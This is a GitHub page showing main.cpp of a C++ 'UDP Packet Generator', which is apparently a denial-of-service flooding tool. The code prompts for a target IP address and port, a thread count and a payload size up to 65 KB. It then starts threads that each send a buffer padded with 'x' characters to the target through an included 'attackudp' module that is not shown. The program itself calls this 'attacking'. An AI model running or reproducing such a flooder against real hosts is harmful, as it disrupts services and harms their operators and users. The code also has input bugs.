-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.cpp
79 lines (73 loc) · 2.32 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <memory.h>
#include <ifaddrs.h>
#include <net/if.h>
#include <errno.h>
#include <stdlib.h>
#include <iostream>
#include <cstdlib>
#include <ctime>
#include <linux/version.h>
#include <sys/utsname.h>
#include <limits>
#include <thread>
#include "module/linux.cpp"
#include "module/sentpacket.cpp"
using namespace std;
const std::string compilation_date = __DATE__;
const std::string compilation_time = __TIME__;
std::string ip;
std::uint16_t port;
std::uint8_t threads;
std::uint8_t kb;
std::string msg("");
void task1()
{
// Import sendpacket.cpp //
attackudp attack;
attack.send(ip, port, msg);
}
int main() {
// Import linux.cpp //
linux_kernel kernelinfo;
printf("=== Linux Kernel Information ===\n");
kernelinfo.kernelos();
kernelinfo.kernelarch();
kernelinfo.kernelversion();
printf("=== END ===\n");
cout << "THIS PROGRAM IS BUILD IN DATE: " << compilation_date << " " << compilation_time << endl;
cout << "UDP Packet Generators by randomladyboyguy\n";
cout << "Orinigal Fork: fusedevgithub (Discontinued)\n";
cout << "If something is wrong please report the issues to github.\n";
cout << "IP Address: ";
cin >> ip;
cout << "Port: ";
cin >> port;
cout << "Target is: IP: " << ip << " Port: " << port << endl;
cout << "WARNING: THIS ATTACKING IS MADE BY YOU! PLEASE DO THIS WITH YOUR OWN RISK!\nIF YOU NEED CANCEL THIS PLEASE PRESS CTRL+C FOR CLOSE THIS PROGRAM.\n";
cout << "Threads: ";
cin >> threads;
cout << "Due to Limited of UDP Payloads, We know only C++ UDP allowed only 65KB (65507 bytes) than 65kb that will got -1 bytes.\nAlso If that won't start, just put a kb again.\n";
cout << "KB (MAX: 65): ";
cin >> kb;
cin >> kb;
cout << "\nGenerating KB (Size)....\n";
for (int i = 0; i < 1024 * kb; i++){
msg = msg + "x"; // DO NOT DOUBLE IT OR CHANGE IT BECAUSE THAT MAYBE BROKEN BYTE OF PACKET TO -1 BYTES!
}
cout << "Creating task...\n";
std::vector<std::thread> t;
for(int i=0; i < threads; i ++){
std::thread th = std::thread([](){ task1(); });
t.push_back(std::move(th));
std::cout<<"Thread started"<<std::endl;
}
for(auto& th : t){
th.join();
}
}